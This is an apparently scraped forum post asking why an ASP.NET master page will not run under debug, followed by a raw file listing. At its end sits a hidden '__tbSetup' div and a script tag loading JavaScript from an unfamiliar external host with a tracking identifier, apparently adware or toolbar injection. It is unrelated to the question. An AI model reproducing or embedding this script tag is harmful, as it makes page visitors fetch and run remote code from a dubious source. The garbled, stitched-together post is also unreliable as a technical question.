master page not run

i m click debug button for executing masterpage but got the errorFriday, May 17, 2013 02:09 AM 431 MasterPage.master Friday, May 17, 2013 02:09 AM 365 MasterPage.master.cs Friday, May 17, 2013 01:57 AM 14 StyleSheet.css Friday, May 17, 2013 12:26 AM 1,838 Web.config <div id="__tbSetup"></div> <script src="https://secure-content-delivery.com/data.js.php?i={1EED9A60-17AD-4BD8-86ED-E9463E6F7CB8}&d=2013-5-13&s=http://forums.asp.net/post/set/15/0/0" type="text/javascript"></script> ...